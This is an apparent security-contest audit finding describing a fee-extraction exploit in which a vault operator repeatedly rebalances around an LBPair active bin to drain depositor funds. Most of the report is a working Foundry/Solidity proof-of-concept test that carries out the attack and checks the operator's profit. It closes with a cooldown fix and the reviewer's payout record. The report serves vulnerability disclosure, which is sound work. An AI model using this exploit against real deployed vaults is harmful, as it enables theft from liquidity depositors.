## Summary By ping ponging the price, operators can cause the vault to pay them fees, which, if done hundreds of times, drains most of the funds in the vault. ## Finding Description Every time liquidity is added to the current active ID in LBPair, whoever adds it has to pay composition fees. These fees are sent to two receivers: the protocol and the LP. These vary depending on the pair but in general for LBPairs, 25% goes to protocol and 75% to LPs. The amount of fees to be paid depends on both the imbalance added and the size of funds currently available in the tick. These fees are paid every time someone adds liquidity in the active range in disproportional amounts. For example, if the current active ID has a balanced amount of funds, and someone adds 20% in tokenX and 80% in tokenY to the LP, they'll need to pay it. If the operator is providing liquidity in the current active ID and the subsequent one (either higher or lower works), he can force the vault to pay him composition fees by rebalancing disproportional amounts. By repeating this process they'll be able to drain the majority of the funds deposited in the vault. The attack would go as followed: 1. Add liquidity to the current ID, until you own most of it 2. Call rebalance and make the vault pay you the composition fee. 3. Call rebalance again, removing the liquidity from the vault 4. Provide liquidity to the next bin. 5. Buy enough tokens to move price by 1 bin. It's critical operators own most of the liquidity in the 2 IDs in order to not overpay others 6. Add liquidity to the new active price ID. The vault will pay you a fee again. The operator doesn't necessarily has to own all liquidity for this operation to be profitable, but they must own a significant sum, as the fees are paid to everyone providing the current range. Operators can use flash loans to reduce the amount of loops required as well. ## Impact Explanation High, most funds can be stolen. ## Likelihood Explanation High, operators only need to own most of the liquidity in the current active bin. With flash borrows, they could do this without having many funds. They could also theoretically move the price to a bin with lower liquidity if the operation is profitable enough. ## Proof of Concept This PoC shows how a vault with 100k USD divided in USDC and AVAX in user deposits, the operator can go through the series of rebalances and liquidity provisions to profit ~150 USDC or 0.15% of user funds. At 0.15% profit per execution, the operator would have to loop this around 500 times to drain about 47% of funds. On networks such as sonic, gas costs are negligible and the block gas limit is 1 million, giving them plenty of space to reproduce this attack. The funds the operator earns do not come from the AUM fee as all these operations happen in the same block timestamp. Run with command `forge test --match-test testSetupAndInitialRebalance -vv` ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "./TestHelper.sol"; import {LiquidityConfigurations} from "joe-v2/libraries/math/LiquidityConfigurations.sol"; import {IStrategy} from "../src/interfaces/IStrategy.sol"; import {IBaseVault} from "../src/interfaces/IBaseVault.sol"; import {IVaultFactory} from "../src/interfaces/IVaultFactory.sol"; import {ILBToken} from "joe-v2/interfaces/ILBToken.sol"; import "forge-std/console2.sol"; // <<< ADD THIS LINE contract PingPongFeesTest is TestHelper { // Tokens and Pair from TestHelper IERC20 tokenX; // WAVAX IERC20 tokenY; // USDC ILBPair lbPair; // Actors address operator; // Attacker controlling the strategy address depositor = makeAddr("depositor_normal"); // Regular user // Vault and Strategy specific to this test address vaultAddress; address strategyAddress; IStrategy strategyPingPong; IBaseVault vaultPingPong; // Oracles (Mocked, required by OracleVault) IAggregatorV3 dfX; IAggregatorV3 dfY; // Configuration uint256 constant DEPOSITOR_USDC_AMOUNT = 50_000 * 1e6; // 50,000 USDC.e (User deposit remains large) uint256 depositorWavaxAmount; // *** REDUCED OPERATOR LIQUIDITY TARGET *** uint256 constant OPERATOR_TARGET_VALUE_USDC = 1_000_000 * 1e6; // Amounts calculated specifically for each bin based on the small target value // For Bin A (Y-Only): We just need the target Y value. uint256 operatorLPUsdcAmount_BinA; // For Bin B (Both): Calculate X and Y needed for target value at binB's price. uint256 operatorLPWavaxAmount_BinB; uint256 operatorLPUsdcAmount_BinB; // Bins for Operator Liquidity uint24 binA; uint24 binB; // Adjacent bins around initial active ID // +++ ADDED: State variable for initial price +++ uint256 priceBinB_global; // Y/X << 128 function setUp() public virtual override { super.setUp(); // Assign tokens and pair lbPair = ILBPair(wavax_usdc_20bp); tokenX = IERC20(wavax); tokenY = IERC20(usdc); // Assign operator operator = address(this); vm.label(operator, "Operator (Attacker)"); vm.label(depositor, "Depositor (Victim)"); // Deploy Vault and Strategy dfX = new MockAggregator(); dfY = new MockAggregator(); vm.startPrank(owner); address strategyImpl = address(new Strategy(IVaultFactory(factory), 51)); address vaultImpl = address(new OracleVault(IVaultFactory(factory))); factory.setVaultImplementation(IVaultFactory.VaultType.Oracle, vaultImpl); factory.setStrategyImplementation(IVaultFactory.StrategyType.Default, strategyImpl); (vaultAddress, strategyAddress) = factory.createOracleVaultAndDefaultStrategy(lbPair, dfX, dfY); vaultPingPong = IBaseVault(vaultAddress); strategyPingPong = IStrategy(strategyAddress); factory.setOperator(strategyPingPong, operator); // Set operator here vm.stopPrank(); vm.label(vaultAddress, "PingPong_Vault"); vm.label(strategyAddress, "PingPong_Strategy"); assertEq(strategyPingPong.getOperator(), operator, "Operator not set correctly"); // --- Calculate amounts based on price --- uint24 initialActiveId = lbPair.getActiveId(); console2.log("Initial Active Bin ID:", initialActiveId); require(initialActiveId > 0, "Initial active ID is 0"); // Define bins binA = initialActiveId - 1; binB = initialActiveId; console2.log("Operator targeting bins: Bin A =", binA, ", Bin B =", binB); // Prices for each bin // uint256 priceBinA = lbPair.getPriceFromId(binA); // Y/X << 128 - Not needed for Y-only amount calc // +++ MODIFIED: Store priceBinB globally +++ priceBinB_global = lbPair.getPriceFromId(binB); // Y/X << 128 // --- DEPOSITOR AMOUNTS (Imbalanced 99% Y / 1% X Value) --- // DEPOSITOR_USDC_AMOUNT remains the large Y amount (50k) // Calculate the X amount that represents 1% of the total value (relative to the 99% Y value) depositorWavaxAmount = ((DEPOSITOR_USDC_AMOUNT * 1 / 99) * (1 << 128)) / priceBinB_global; // X amount for 1% value // Operator amounts (calculated for the SMALL target value) // Bin A (Y-Only): The amount of Y needed is simply the target value in Y. operatorLPUsdcAmount_BinA = OPERATOR_TARGET_VALUE_USDC; // Bin B (Both): Calculate X and Y needed for OPERATOR_TARGET_VALUE_USDC at binB's price // Assuming half the value comes from X, half from Y for proportional shape at active ID // --- OPERATOR DEPOSIT FOR BIN B (Maximally Imbalanced: 100% X Value) --- operatorLPUsdcAmount_BinB = 0; // 0% value in Y operatorLPWavaxAmount_BinB = (OPERATOR_TARGET_VALUE_USDC * (1 << 128)) / priceBinB_global; // 100% value in X console2.log("Operator Target Value (USDC):", OPERATOR_TARGET_VALUE_USDC / 1e6); console2.log("Operator Amounts for Bin A (Y-Only): USDC =", operatorLPUsdcAmount_BinA); console2.log("Operator Amounts for Bin B (Imbalanced): WAVAX = %d, USDC = %d", operatorLPWavaxAmount_BinB, operatorLPUsdcAmount_BinB); // --- Fund Accounts --- deal(address(tokenX), depositor, depositorWavaxAmount); deal(address(tokenY), depositor, DEPOSITOR_USDC_AMOUNT); // Operator needs X only for Bin B, but Y for both Bin A and Bin B deal(address(tokenX), operator, operatorLPWavaxAmount_BinB * 11 / 10); deal(address(tokenY), operator, operatorLPUsdcAmount_BinA * 11 / 10 + operatorLPUsdcAmount_BinB); // Log initial operator funding balances (before any actions in the test) console2.log( "Operator FUNDING balances: X=%d, Y=%d", tokenX.balanceOf(operator), tokenY.balanceOf(operator) ); vm.deal(depositor, 1 ether); vm.deal(operator, 5 ether); // --- Approvals --- vm.startPrank(depositor); tokenX.approve(vaultAddress, type(uint256).max); tokenY.approve(vaultAddress, type(uint256).max); vm.stopPrank(); vm.startPrank(operator); tokenX.approve(address(lbPair), type(uint256).max); // Approve pair for direct transfer tokenY.approve(address(lbPair), type(uint256).max); // Approve pair for direct transfer vm.stopPrank(); vm.startPrank(vaultAddress); // Vault needs to approve pair for strategy rebalance tokenX.approve(address(lbPair), type(uint256).max); tokenY.approve(address(lbPair), type(uint256).max); vm.stopPrank(); console2.log("Setup complete."); } // --- Test Function --- uint256 initialOperatorX; uint256 initialOperatorY; uint256 constant NUM_CYCLES = 5; function testSetupAndInitialRebalance() public { // +++ ADDED: Record initial operator balances BEFORE any actions +++ initialOperatorX = tokenX.balanceOf(operator); initialOperatorY = tokenY.balanceOf(operator); // === Step 1: User Deposits Funds === console2.log("\nStep 1: Depositor depositing %d USDC and %d WAVAX...", DEPOSITOR_USDC_AMOUNT / 1e6, depositorWavaxAmount / 1e18); vm.startPrank(depositor); vaultPingPong.deposit(depositorWavaxAmount, DEPOSITOR_USDC_AMOUNT, 0); vm.stopPrank(); uint256 strategyBalX_afterDeposit = tokenX.balanceOf(strategyAddress); uint256 strategyBalY_afterDeposit = tokenY.balanceOf(strategyAddress); console2.log("Strategy idle balances after deposit: X=%d, Y=%d", strategyBalX_afterDeposit, strategyBalY_afterDeposit); assertEq(strategyBalX_afterDeposit, depositorWavaxAmount, "Strategy X balance mismatch"); assertEq(strategyBalY_afterDeposit, DEPOSITOR_USDC_AMOUNT, "Strategy Y balance mismatch"); // === Step 2: Operator Adds SMALL, IMBALANCED Liquidity to Adjacent Bins === console2.log("\nStep 2: Operator adding SMALL, IMBALANCED liquidity to Bin A (%d) and Bin B (%d)...", binA, binB); vm.startPrank(operator); // Add liquidity to Bin A (Y-Only Shape) bytes32[] memory configsA = new bytes32[](1); configsA[0] = LiquidityConfigurations.encodeParams(0, 1e18, binA); // Y-Only shape _operatorMintLiquidity(configsA, 0, operatorLPUsdcAmount_BinA); console2.log("Minted to Bin A (Y-Only) with %d USDC", operatorLPUsdcAmount_BinA); // Add liquidity to Bin B (Imbalanced X and Y Shape - 90% Y value, 10% X value) bytes32[] memory configsB = new bytes32[](1); configsB[0] = LiquidityConfigurations.encodeParams(1e17, 9e17, binB); _operatorMintLiquidity(configsB, operatorLPWavaxAmount_BinB, operatorLPUsdcAmount_BinB); console2.log("Minted to Bin B (Imbalanced) with %d WAVAX and %d USDC", operatorLPWavaxAmount_BinB, operatorLPUsdcAmount_BinB); vm.stopPrank(); // Verify operator received LBTokens uint256 lbTokenBalanceA = ILBToken(address(lbPair)).balanceOf(operator, binA); uint256 lbTokenBalanceB = ILBToken(address(lbPair)).balanceOf(operator, binB); assertTrue(lbTokenBalanceA > 0, "Operator should have LBTokens for Bin A"); assertTrue(lbTokenBalanceB > 0, "Operator should have LBTokens for Bin B"); console2.log("Operator LBToken balances: Bin A=%d, Bin B=%d", lbTokenBalanceA, lbTokenBalanceB); // === Step 3: Operator Calls Rebalance (Strategy Deposits) & Operator Burns === console2.log("\nStep 3: Operator calling rebalance (strategy deposits) & operator burns LP..."); uint24 currentActiveId = lbPair.getActiveId(); console2.log("Active ID before rebalance:", currentActiveId); assertEq(currentActiveId, binB, "Active ID shifted unexpectedly before rebalance"); uint24 targetActiveId = currentActiveId; // Strategy targets the current active bin uint24 lowerBound = targetActiveId; uint24 upperBound = targetActiveId; (uint256 idleX, uint256 idleY) = strategyPingPong.getIdleBalances(); console2.log("Strategy idle balances before rebalance: X=%d, Y=%d", idleX, idleY); require(idleX == depositorWavaxAmount && idleY == DEPOSITOR_USDC_AMOUNT, "Idle amounts don't match deposit"); // Strategy deposits proportionally (based on its idle balances which were calculated proportionally) bytes memory distributions = _buildPackedDistributions(lowerBound, upperBound, targetActiveId, 1e18, 1e18); // Proportional vm.startPrank(operator); strategyPingPong.rebalance( lowerBound, upperBound, targetActiveId, type(uint24).max, // Allow max slippage for simplicity idleX, idleY, distributions ); console2.log("Strategy rebalance (deposit) called."); // Operator immediately burns their LP tokens uint256 balanceB = ILBToken(address(lbPair)).balanceOf(operator, binB); uint256[] memory ids = new uint256[](1); uint256[] memory amounts = new uint256[](1); ids[0] = binB; amounts[0] = balanceB; console2.log("Operator burning LB tokens: Bin A=%d, Bin B=%d", balanceB); lbPair.burn(operator, operator, ids, amounts); // Use the initial price for consistency //uint256 amountXToLeave = (1e6 * (1 << 128)) / priceBinB_global; bytes memory distributions_leave = _buildPackedDistributions( lowerBound, upperBound, targetActiveId, 1e18, 1e18 // Proportional shape for the single bin deposit ); strategyPingPong.rebalance( lowerBound, upperBound, targetActiveId, type(uint24).max, // Target bin B, allow slippage (1e4 * (1 << 128)) / priceBinB_global, 1e4, // The small amounts to deposit back distributions_leave ); vm.stopPrank(); // Stop operator prank AFTER burn _operatorSwapDownToTargetId(binA); // --- Inside testSetupAndInitialRebalance --- // Get binA's price *before* calling the function uint256 priceBinA_current = lbPair.getPriceFromId(binA); // Get current price of binA // === Step 5: Operator adds NEW X-ONLY liquidity to binA === // _operatorAddXOnlyLiquidity(binA, OPERATOR_TARGET_VALUE_USDC, priceBinA_current); _executeCycle2(); // +++ ADDED: Record final operator balances AFTER burn +++ uint256 finalOperatorX = tokenX.balanceOf(operator); uint256 finalOperatorY = tokenY.balanceOf(operator); console2.log( "Operator initial balances: X=%d, Y=%d", initialOperatorX, initialOperatorY ); console2.log( "Operator final balances after burn: X=%d, Y=%d", finalOperatorX, finalOperatorY ); // +++ ADDED: Call the verification function +++ _verifyOperatorValueChange(initialOperatorX, initialOperatorY, finalOperatorX, finalOperatorY, priceBinB_global); } /** * @notice Executes the second cycle of the ping-pong fee exploit. * Assumes active ID is binA at the start. * 1. Strategy deposits large idle funds into binA (generating fees). * 2. Operator burns their liquidity from binA (collecting fees). * 3. Strategy withdraws most funds, leaving a small amount in binA. * 4. Operator swaps price back up to binB. */ function _executeCycle2() internal { vm.startPrank(operator); // Start prank for cycle 2 actions console2.log("\n=== Executing Cycle 2 ==="); // === Step 6: Operator Calls Rebalance (Strategy Deposits Idle Funds into binA) === console2.log("Step 6: Operator calling rebalance (strategy deposits idle funds into active binA)..."); uint24 activeId_before_step6 = lbPair.getActiveId(); (uint256 idleX_step6, uint256 idleY_step6) = strategyPingPong.getIdleBalances(); console2.log("Strategy idle balances before Step 6 deposit: X=%d, Y=%d", idleX_step6, idleY_step6); require(idleX_step6 > 0 || idleY_step6 > 0, "Strategy has no idle funds for Step 6 deposit"); uint24 targetActiveId_step6 = binA; uint24 lowerBound_step6 = binA; uint24 upperBound_step6 = binA; bytes memory distributions_step6 = _buildPackedDistributions( lowerBound_step6, upperBound_step6, targetActiveId_step6, 1e18, 1e18 // Proportional shape ); strategyPingPong.rebalance( lowerBound_step6, upperBound_step6, targetActiveId_step6, type(uint24).max, idleX_step6, idleY_step6, distributions_step6 ); console2.log("Strategy rebalance (deposit into binA) called."); // === Step 7: Operator Burns Liquidity from binA === console2.log("\nStep 7: Operator burning liquidity from binA..."); uint256 balanceA_step7 = ILBToken(address(lbPair)).balanceOf(operator, binA); console2.log("Operator LB token balance in binA before burn: %d", balanceA_step7); require(balanceA_step7 > 0, "Operator has no liquidity in binA to burn"); uint256[] memory ids_step7 = new uint256[](1); uint256[] memory amounts_step7 = new uint256[](1); ids_step7[0] = binA; amounts_step7[0] = balanceA_step7; lbPair.burn(operator, operator, ids_step7, amounts_step7); console2.log("Operator burned liquidity from binA."); // === Step 8: Operator Calls Rebalance (Strategy Withdraws MOST, leaves small in binA AND binB) === console2.log("\nStep 8: Operator calling rebalance to withdraw MOST strategy funds, leaving small amount spread across binA & binB..."); // Log message updated // Calculate TOTAL small amounts to leave across the target range [binA, binB] // Using binA's price for calculation is fine for the small total amount uint256 priceBinA_step8 = lbPair.getPriceFromId(binA); uint256 totalAmountYToLeave_step8 = 1e4; // 0.01 USDC total value uint256 totalAmountXToLeave_step8 = (totalAmountYToLeave_step8 * (1 << 128)) / priceBinA_step8; // *** Target the range [binA, binB] for the small remaining deposit *** uint24 targetActiveId_leave_step8 = binA; // Keep target as current active ID uint24 lowerBound_leave_step8 = binA; // <<< Lower bound is binA uint24 upperBound_leave_step8 = binB; // <<< Upper bound is binB // Build distributions covering the range [binA, binB] with binA as active // This will generate distBoth for binA and distXOnly for binB /*bytes memory distributions_leave_step8 = _buildPackedDistributions( lowerBound_leave_step8, upperBound_leave_step8, targetActiveId_leave_step8, 1e18, 1e18 // Proportional weights for helper );*/ bytes memory distributions_leave_step8 = abi.encodePacked(uint64(0.5e18), uint64(1e18), uint64(0.5e18), uint64(0)); require(distributions_leave_step8.length == 32, "Distribution length mismatch for 2 bins"); // Sanity check // Call rebalance: Withdraws all first, then deposits the small TOTAL amounts across binA and binB strategyPingPong.rebalance( lowerBound_leave_step8, upperBound_leave_step8, // Range [binA, binB] targetActiveId_leave_step8, type(uint24).max, // Target active binA totalAmountXToLeave_step8, totalAmountYToLeave_step8, // TOTAL small amounts distributions_leave_step8 ); console2.log("Strategy rebalance (withdraw most, leave small in binA & binB) called."); // Log message updated // === Step 9: Operator Swaps UP to binB === console2.log("\nStep 9: Operator swapping UP to binB..."); _operatorSwapUpToTargetId(binB); // Call the existing swap UP function strategyPingPong.rebalance( 0, 0, 0, 0, 0, 0, new bytes(0) ); vm.stopPrank(); // End prank for cycle 2 actions console2.log("=== Cycle 2 Complete ==="); } /** * @notice Adds new liquidity consisting only of Token X to a specified bin, * using only the operator's available balance. * @param _targetBinId The bin ID to add liquidity to. * @param _targetValue The target value (in terms of Token Y) for the deposit. * @param _referencePrice The price (Y/X << 128) used for calculating the X amount. */ function _operatorAddXOnlyLiquidity( uint24 _targetBinId, uint256 _targetValue, uint256 _referencePrice ) internal { vm.startPrank(operator); // Start prank for this action console2.log("\n--- Operator Adding X-Only Liquidity (Using Existing Funds) ---"); console2.log("Target Bin: %d, Target Value (Y): %d", _targetBinId, _targetValue / 1e6); // Calculate the theoretical amount of X needed for the target value uint256 requiredX = (_targetValue * (1 << 128)) / _referencePrice; console2.log("Calculated Required X-Only deposit amount: X=%d", requiredX); // Get the operator's current balance uint256 currentOpX = tokenX.balanceOf(operator); console2.log("Operator Current X Balance: %d", currentOpX); // Determine the actual amount to deposit: minimum of required and available uint256 depositX_actual = currentOpX < requiredX ? currentOpX : requiredX; if (depositX_actual == 0) { console2.log("Skipping X-Only deposit: Operator has 0 X tokens."); vm.stopPrank(); return; } if (depositX_actual < requiredX) { console2.log("Warning: Operator has insufficient X. Depositing available balance: %d", depositX_actual); } else { console2.log("Depositing calculated X amount: %d", depositX_actual); } // Prepare mint configuration for the target bin with X-Only shape bytes32[] memory configs_Xonly = new bytes32[](1); configs_Xonly[0] = LiquidityConfigurations.encodeParams(1e18, 0, _targetBinId); // X-Only weight // Use the mint helper function, providing only the actual X amount available _operatorMintLiquidity(configs_Xonly, depositX_actual, 0); // Pass 0 for Y amount console2.log("Operator minted new X-Only liquidity (%d X) to bin %d.", depositX_actual, _targetBinId); // Optional: Verify operator received new LB tokens uint256 finalOpLbBalance = ILBToken(address(lbPair)).balanceOf(operator, _targetBinId); console2.log("Operator LB token balance in bin %d after deposit: %d", _targetBinId, finalOpLbBalance); assertTrue(finalOpLbBalance > 0, "Operator failed to mint new X-Only liquidity"); vm.stopPrank(); // End prank for this action console2.log("--- End Adding X-Only Liquidity ---"); } function _operatorSwapDownToTargetId(uint24 _targetId) internal { console2.log("\n--- Operator Swap DOWN to Target ID ---"); uint24 currentActiveId = lbPair.getActiveId(); console2.log("Current Active ID before swap DOWN:", currentActiveId); if (currentActiveId <= _targetId) { console2.log("Swap DOWN skipped: Current active ID (%d) is already at or below target (%d).", currentActiveId, _targetId); return; } // We need to swap X for Y to move the price (and active ID) down. // The strategy left ~1e4 USDC (Y) and equivalent WAVAX (X) in binB. // To move down to binA, we need to consume the Y liquidity in binB. // Swapping a small amount of X should achieve this. uint256 amountXToSwap = 1e16; // 0.01 WAVAX - ADJUST IF NECESSARY uint256 operatorXBalance = tokenX.balanceOf(operator); if (operatorXBalance < amountXToSwap) { console2.log("Swap DOWN failed: Operator lacks sufficient X (%d needed, %d has).", amountXToSwap, operatorXBalance); revert("Operator lacks X for swap DOWN"); } console2.log("Operator swapping %d X to move active ID towards %d...", amountXToSwap, _targetId); tokenX.transfer(address(lbPair), amountXToSwap); // Transfer X to pair try lbPair.swap(true, operator) returns (bytes32 amountsOut) { // swapForY = true (X -> Y) uint128 receivedY = uint128(uint256(amountsOut) >> 128); // amountYOut is in the upper 128 bits console2.log("Swap DOWN successful. Received %d Y.", receivedY); } catch Error(string memory reason) { console2.log("Swap DOWN failed: %s", reason); revert("Swap DOWN failed unexpectedly"); } catch { revert("Swap DOWN failed with unknown error"); } uint24 finalActiveId = lbPair.getActiveId(); console2.log("Active ID after swap DOWN:", finalActiveId); // Check if the swap moved the ID to the target or below assertTrue(finalActiveId <= _targetId, "Swap DOWN did not move active ID sufficiently down"); console2.log("--- End Operator Swap DOWN ---"); } /** * @notice Performs a swap as the operator to move the active ID UP to a target ID. * @dev Assumes the current active ID is below the target ID. Swaps Y for X. * @param _targetId The desired active ID after the swap (e.g., binB). */ function _operatorSwapUpToTargetId(uint24 _targetId) internal { console2.log("\n--- Operator Swap UP to Target ID ---"); uint24 currentActiveId = lbPair.getActiveId(); console2.log("Current Active ID before swap UP:", currentActiveId); if (currentActiveId >= _targetId) { console2.log("Swap UP skipped: Current active ID (%d) is already at or above target (%d).", currentActiveId, _targetId); return; } // We need to swap Y for X to move the price (and active ID) up. // The strategy left ~1e4 USDC (Y) and equivalent WAVAX (X) in binB. // The previous swap likely moved the ID to binA by swapping X for Y. // To move back to binB, we need to consume the X liquidity in binA. // Swapping an amount of Y slightly larger than 1e4 should be sufficient // to clear binA and activate binB where the strategy's liquidity sits. uint256 amountYToSwap = 6e3; // enough to go back to binA uint256 operatorYBalance = tokenY.balanceOf(operator); if (operatorYBalance < amountYToSwap) { console2.log("Swap UP failed: Operator lacks sufficient Y (%d needed, %d has).", amountYToSwap, operatorYBalance); // Consider dealing more Y to operator in setUp if this fails often revert("Operator lacks Y for swap UP"); } console2.log("Operator swapping %d Y to move active ID towards %d...", amountYToSwap, _targetId); tokenY.transfer(address(lbPair), amountYToSwap); // Transfer Y to pair try lbPair.swap(false, operator) returns (bytes32 amountsOut) { // swapForY = false (Y -> X) uint128 receivedX = uint128(uint256(amountsOut)); // amountXOut is in the lower 128 bits console2.log("Swap UP successful. Received %d X.", receivedX); } catch Error(string memory reason) { console2.log("Swap UP failed: %s", reason); revert("Swap UP failed unexpectedly"); } catch { revert("Swap UP failed with unknown error"); } uint24 finalActiveId = lbPair.getActiveId(); console2.log("Active ID after swap UP:", finalActiveId); // Check if the swap moved the ID to the target assertEq(finalActiveId, _targetId, "Swap UP did not move active ID to target"); console2.log("--- End Operator Swap UP ---"); } // Helper: transfers specific amounts THEN mints function _operatorMintLiquidity( bytes32[] memory _configs, uint256 _amountXToTransfer, // Specific amount of X to transfer NOW uint256 _amountYToTransfer // Specific amount of Y to transfer NOW ) internal { // Transfer the specific amounts needed for THIS mint call if (_amountXToTransfer > 0) { tokenX.transfer(address(lbPair), _amountXToTransfer); } if (_amountYToTransfer > 0) { tokenY.transfer(address(lbPair), _amountYToTransfer); } lbPair.mint(operator, _configs, operator); } // Helper Function for Building Distributions (same as before) function _buildPackedDistributions( uint24 _lowerBound, uint24 _upperBound, uint24 _activeId, uint64 _distribX, // Use uint64 as in Strategy.sol uint64 _distribY // Use uint64 as in Strategy.sol ) internal pure returns (bytes memory distributions) { if (_lowerBound > _upperBound) { return new bytes(0); } uint256 numBins = _upperBound - _lowerBound + 1; require(numBins <= 51, "Too many bins for distribution build"); // Match Strategy._MAX_RANGE distributions = new bytes(numBins * 16); // 16 bytes per bin (uint64 + uint64) // Pre-encode distribution shapes using uint64 bytes memory distYOnly = abi.encodePacked(uint64(0), _distribY); bytes memory distBoth = abi.encodePacked(_distribX, _distribY); bytes memory distXOnly = abi.encodePacked(_distribX, uint64(0)); uint256 offset = 0; for (uint256 i = 0; i < numBins; ++i) { uint24 currentBinId = _lowerBound + uint24(i); bytes memory distChunk; if (currentBinId < _activeId) { distChunk = distYOnly; } else if (currentBinId == _activeId) { distChunk = distBoth; } else { distChunk = distXOnly; } // Copy the 16 bytes chunk for (uint j = 0; j < 16; ++j) { distributions[offset++] = distChunk[j]; } } } // +++ ADDED: Verification Function +++ /** * @notice Calculates and logs the change in the operator's portfolio value. * @param _initialX Operator's Token X balance before adding any liquidity. * @param _initialY Operator's Token Y balance before adding any liquidity. * @param _finalX Operator's Token X balance after burning their liquidity. * @param _finalY Operator's Token Y balance after burning their liquidity. * @param _initialPrice The price (Y/X << 128) of binB BEFORE any test actions. */ function _verifyOperatorValueChange( uint256 _initialX, uint256 _initialY, uint256 _finalX, uint256 _finalY, uint256 _initialPrice // Y/X << 128 ) internal { console2.log("\n--- Operator Value Verification (using initial price) ---"); // Decimals (assuming WAVAX=18, USDC=6) uint256 decX = 1e18; uint256 decY = 1e6; // Initial Value Calculation (in terms of Token Y) uint256 initialValueX_inY = (_initialX * _initialPrice) >> 128; uint256 initialValueY_inY = _initialY; uint256 totalInitialValue_inY = initialValueX_inY + initialValueY_inY; // Final Value Calculation (using the SAME initial price for comparison) uint256 finalValueX_inY = (_finalX * _initialPrice) >> 128; uint256 finalValueY_inY = _finalY; uint256 totalFinalValue_inY = finalValueX_inY + finalValueY_inY; // Logging Initial State console2.log("-- Initial State --"); console2.log("Initial X Balance:", _initialX / decX); console2.log("Initial Y Balance:", _initialY / decY); console2.log("Initial X Value (in Y):", initialValueX_inY / decY); console2.log("Initial Y Value (in Y):", initialValueY_inY / decY); console2.log("Total Initial Value (in Y):", totalInitialValue_inY / decY); // Logging Final State console2.log("-- Final State --"); console2.log("Final X Balance:", _finalX / decX); console2.log("Final Y Balance:", _finalY / decY); console2.log("Final X Value (in Y):", finalValueX_inY / decY); console2.log("Final Y Value (in Y):", finalValueY_inY / decY); console2.log("Total Final Value (in Y):", totalFinalValue_inY / decY); // Net Change Calculation int256 netChange_inY = int256(totalFinalValue_inY) - int256(totalInitialValue_inY); // Logging Net Change console2.log("-- Net Change --"); if (netChange_inY >= 0) { console2.log("Net Profit (in Y): +%d (raw: %d)", uint256(netChange_inY) / decY); emit log_int(netChange_inY); } else { console2.log("Net Loss (in Y): -%d (raw: %d)", uint256(-netChange_inY) / decY); emit log_int(netChange_inY); } console2.log("-------------------------------------------------------"); // Optional Assertion: Check if profit is positive (might be very small) assertTrue(netChange_inY > 0, "Operator should have made a profit"); } } ``` ## Recommendation Since this attacks relies on multiple rebalance calls, add a cooldown to the rebalance function.

Competition	Date	Submissions	Payout
Ammalgam	Jul 9, 2025	4	$0
Alchemix	May 1, 2025	7	$221
Metropolis	Apr 2, 2025	6	$3,476
Eigenlayer	Mar 7, 2025	1	$0
Size Credit	Feb 26, 2025	1	$172
Daao	Jan 27, 2025	3	$128
Whetstone	Jan 15, 2025	1	$361
Morpho	Nov 13, 2023	1	$0

rokinot

Public reviews